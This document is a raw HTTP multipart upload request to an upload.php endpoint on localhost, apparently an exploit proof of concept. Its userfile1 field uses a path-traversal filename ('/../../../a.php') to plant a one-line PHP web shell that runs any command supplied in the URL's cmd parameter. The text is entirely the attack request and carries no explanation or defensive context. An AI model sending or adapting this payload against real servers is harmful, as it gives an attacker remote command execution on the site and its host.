POST /upload.php HTTP/1.0
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------31140333525651
Content-Length: 926
Connection: Close

-----------------------------31140333525651
Content-Disposition: form-data; name="lid"

0
-----------------------------31140333525651
Content-Disposition: form-data; name="sid"

656041e927559a2ff
-----------------------------31140333525651
Content-Disposition: form-data; name="tid"

0
-----------------------------31140333525651
Content-Disposition: form-data; name="userfile1"; filename="/../../../a.php"
Content-Type: application/download

<?php
system($_GET[cmd]);
?>
-----------------------------31140333525651
Content-Disposition: form-data; name="userfile2"; filename=""
Content-Type: application/octet-stream


-----------------------------31140333525651
Content-Disposition: form-data; name="userfile3"; filename=""
Content-Type: application/octet-stream


-----------------------------31140333525651
Content-Disposition: form-data; name="uploaded"

true
-----------------------------31140333525651--